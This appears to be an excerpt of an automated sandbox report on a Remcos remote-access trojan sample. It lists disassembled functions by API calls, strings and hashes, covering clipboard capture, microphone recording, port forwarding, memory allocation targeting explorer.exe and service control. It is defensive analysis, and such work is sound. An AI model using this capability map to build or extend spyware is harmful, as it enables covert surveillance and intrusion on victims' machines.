Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 004054BF
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040556F
TranslateMessage.USER32(?), ref: 0040557E
DispatchMessageA.USER32(?), ref: 00405589
HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 00405679

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

CloseChat, xrefs: 00405609
DisplayMessage, xrefs: 004055EC
GetMessage, xrefs: 004055F8

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
String ID: CloseChat$DisplayMessage$GetMessage
API String ID: 2956720200-749203953
Opcode ID: 23ad1bda7fdc8c2761b743bccdaa4a1370e03c4646df2a0694b798356af57b05
Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
Opcode Fuzzy Hash: 23ad1bda7fdc8c2761b743bccdaa4a1370e03c4646df2a0694b798356af57b05
Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31

WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
CloseHandle.KERNEL32(00000000), ref: 00417DE5
DeleteFileA.KERNEL32(00000000), ref: 00417DF4
ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

0VG, xrefs: 00417DB5
0VG, xrefs: 00417E21
@, xrefs: 00417D8A
<, xrefs: 00417D83
Temp, xrefs: 00417D00

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
String ID: 0VG$0VG$<$@$Temp
API String ID: 1704390241-2575729100
Opcode ID: 98959ef4594bcaafc024db97d5732f010b7230a0abd9b713f16470a190596f9f
Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
Opcode Fuzzy Hash: 98959ef4594bcaafc024db97d5732f010b7230a0abd9b713f16470a190596f9f
Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99

Uniqueness

Uniqueness Score: -1.00%

Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00416941
EmptyClipboard.USER32 ref: 0041694F
CloseClipboard.USER32 ref: 00416955
OpenClipboard.USER32 ref: 0041695C
GetClipboardData.USER32(0000000D), ref: 0041696C
GlobalLock.KERNEL32(00000000), ref: 00416975
GlobalUnlock.KERNEL32(00000000), ref: 0041697E
CloseClipboard.USER32 ref: 00416984

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
String ID: !D@
API String ID: 2172192267-604454484
Opcode ID: 217266dddd972f3c5e9f703bebafc66beb3104e9651149c41c4633369744174b
Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
Opcode Fuzzy Hash: 217266dddd972f3c5e9f703bebafc66beb3104e9651149c41c4633369744174b
Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: c0082c5762a569dd6c794232c9d09aac69d1526d84f90b8f2ddcc8f825e948b5
Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
Opcode Fuzzy Hash: c0082c5762a569dd6c794232c9d09aac69d1526d84f90b8f2ddcc8f825e948b5
Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA

Uniqueness

Uniqueness Score: -1.00%

Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00448135

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00448141
_free.LIBCMT ref: 0044814C
_free.LIBCMT ref: 00448157
_free.LIBCMT ref: 00448162
_free.LIBCMT ref: 0044816D
_free.LIBCMT ref: 00448178
_free.LIBCMT ref: 00448183
_free.LIBCMT ref: 0044818E
_free.LIBCMT ref: 0044819C

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5

Uniqueness

Uniqueness Score: -1.00%

Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 00411514
inet_ntoa.WS2_32(?), ref: 004115AF

Strings

StartReverse, xrefs: 0041167F
StopReverse, xrefs: 004116A1
StartForward, xrefs: 00411673
GetDirectListeningPort, xrefs: 004116B2
NG, xrefs: 0041153A
StopForward, xrefs: 00411690

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Eventinet_ntoa
String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
API String ID: 3578746661-3604713145
Opcode ID: ab18085dfb9070501b6a617d13a9934c7a772270e49a3b63cf56808473da2604
Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
Opcode Fuzzy Hash: ab18085dfb9070501b6a617d13a9934c7a772270e49a3b63cf56808473da2604
Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE

Uniqueness

Uniqueness Score: -1.00%

Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27

Strings

log, xrefs: 00455FCD, 00455FD9
sqrt, xrefs: 004560AB
exp, xrefs: 00455FEC, 0045604E
log10, xrefs: 00455F71, 00455FC1
acos, xrefs: 0045609F
asin, xrefs: 00456093
pow, xrefs: 0045600B, 004560B7, 004560CA

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E

Uniqueness

Uniqueness Score: -1.00%

Function 0044B3BC Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,PkGNG,0044BB31,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B3FE
__fassign.LIBCMT ref: 0044B479
__fassign.LIBCMT ref: 0044B494
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000,?,?,?,?,?,?,?,?,PkGNG,0044BB31,?), ref: 0044B4D9
WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000,?,?,?,?,?,?,?,?,PkGNG,0044BB31,?), ref: 0044B512

Strings

PkGNG, xrefs: 0044B3BE

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID: PkGNG
API String ID: 1324828854-263838557
Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5

Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,0040412F,00465E74), ref: 0041C49E

Sleep.KERNEL32(00000064), ref: 00417521
DeleteFileW.KERNEL32(00000000), ref: 00417555

Strings

open, xrefs: 004174EF
\sysinfo.txt, xrefs: 004174A0
/t , xrefs: 004174D4
temp, xrefs: 004174A5
dxdiag, xrefs: 004174EA

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: File$CreateDeleteExecuteShellSleep
String ID: /t $\sysinfo.txt$dxdiag$open$temp
API String ID: 1462127192-2001430897
Opcode ID: 2e7314534ae075b7e9c34f09803cfaa6cc8f3f1c8e39d8c57a36ae90e31f4a77
Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
Opcode Fuzzy Hash: 2e7314534ae075b7e9c34f09803cfaa6cc8f3f1c8e39d8c57a36ae90e31f4a77
Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C

Uniqueness

Uniqueness Score: -1.00%

Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Users\Public\Libraries\nmfsxfjX.pif), ref: 0040749E

Strings

[-] NtAllocateVirtualMemory Error, xrefs: 0040743D
windir, xrefs: 004073EA
[+] NtAllocateVirtualMemory Success, xrefs: 00407410
\explorer.exe, xrefs: 00407400
PEB: %x, xrefs: 004074AF
explorer.exe, xrefs: 00407450, 0040747B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
API String ID: 2050909247-4242073005
Opcode ID: c96af00a5e7ec94e66acc45bf1863d5a4294996af44aaa2752f51638bf238a49
Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
Opcode Fuzzy Hash: c96af00a5e7ec94e66acc45bf1863d5a4294996af44aaa2752f51638bf238a49
Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON

Download Yara Rule

APIs

_strftime.LIBCMT ref: 00401D50

Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9

waveInUnprepareHeader.WINMM(00472A88,00000020,00000000,?), ref: 00401E02
waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F

Strings

dMG, xrefs: 00401D81
.wav, xrefs: 00401D69
%Y-%m-%d %H.%M, xrefs: 00401D41
|MG, xrefs: 00401E08

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
API String ID: 3809562944-243156785
Opcode ID: 5d5d8b804b24dbb182b265a24ad27abd29ffba8ef4e2f14911defadce340a58b
Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
Opcode Fuzzy Hash: 5d5d8b804b24dbb182b265a24ad27abd29ffba8ef4e2f14911defadce340a58b
Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
int.LIBCPMT ref: 00410E81

Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC

std::_Facet_Register.LIBCPMT ref: 00410EC1
std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
__CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
__Init_thread_footer.LIBCMT ref: 00410F29

Strings

0kG, xrefs: 00410F31
,kG, xrefs: 00410F04

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
String ID: ,kG$0kG
API String ID: 3815856325-2015055088
Opcode ID: 03644fa62921dd73c80b911a5d0dfda0042f6ff91148d324d9cd636e449b66af
Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
Opcode Fuzzy Hash: 03644fa62921dd73c80b911a5d0dfda0042f6ff91148d324d9cd636e449b66af
Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000,00000024), ref: 00401C8F
waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
waveInStart.WINMM ref: 00401CFE

Strings

PG, xrefs: 00401C27
dMG, xrefs: 00401BED
|MG, xrefs: 00401C9B

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
String ID: dMG$|MG$PG
API String ID: 1356121797-532278878
Opcode ID: 4847331a3159101abd2f471b23cb9d67ee169c85da226fed21ec568aa636ce6b
Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
Opcode Fuzzy Hash: 4847331a3159101abd2f471b23cb9d67ee169c85da226fed21ec568aa636ce6b
Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476

Part of subcall function 0041D50F: RegisterClassExA.USER32(00000030), ref: 0041D55B
Part of subcall function 0041D50F: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041D576
Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580

ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
TranslateMessage.USER32(?), ref: 0041D4E9
DispatchMessageA.USER32(?), ref: 0041D4F3
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0041D500

Strings

Remcos, xrefs: 0041D4B8

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
String ID: Remcos
API String ID: 1970332568-165870891
Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 984f3823f0f42f82cc4a86ce7b4d37cd777ac44a74ee2f2d7e0058df0e398b64
Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
Opcode Fuzzy Hash: 984f3823f0f42f82cc4a86ce7b4d37cd777ac44a74ee2f2d7e0058df0e398b64
Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
Part of subcall function 00448215: _abort.LIBCMT ref: 00448293

_memcmp.LIBVCRUNTIME ref: 00445423
_free.LIBCMT ref: 00445494
_free.LIBCMT ref: 004454AD
_free.LIBCMT ref: 004454DF
_free.LIBCMT ref: 004454E8
_free.LIBCMT ref: 004454F4

Strings

C, xrefs: 004452E1

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: 95a5055c0f5b4626ae5439ab0ac3d92ffbfe406232e79e21228b3c6dd4324b4e
Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
Opcode Fuzzy Hash: 95a5055c0f5b4626ae5439ab0ac3d92ffbfe406232e79e21228b3c6dd4324b4e
Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

udp, xrefs: 00414A46
tcp, xrefs: 00414A73

Memory Dump Source

Source File: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.2139650597.0000000000474000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000001.2139650597.0000000000478000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_1_400000_nmfsxfjX.jbxd

Yara matches

Similarity

API ID:
String ID: tcp$udp
API String ID: 0-3725065008
Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00411CFE Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 206memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041179C: SetLastError.KERNEL32(0000000D,00411D1C,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 004117A2

SetLastError.KERNEL32(000000C1,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411D37
GetNativeSystemInfo.KERNEL32(?,?,00000000,t^F,?,?,?,?,?,?,?,?,?,?,?,00411CFA), ref: 00411DA5
SetLastError.KERNEL32(0000000E), ref: 00411DC9

Part of subcall function 00411CA3: VirtualAlloc.KERNEL32(00000000,00000000,00000000,00000000,00411DE7,?,00000000,00003000,00000040,00000000), ref: 00411CB3

GetProcessHeap.KERNEL32(00000008,00000040), ref: 00411E10
HeapAlloc.KERNEL32(00000000), ref: 00411E17
SetLastError.KERNEL32(0000045A), ref: 00411F2A

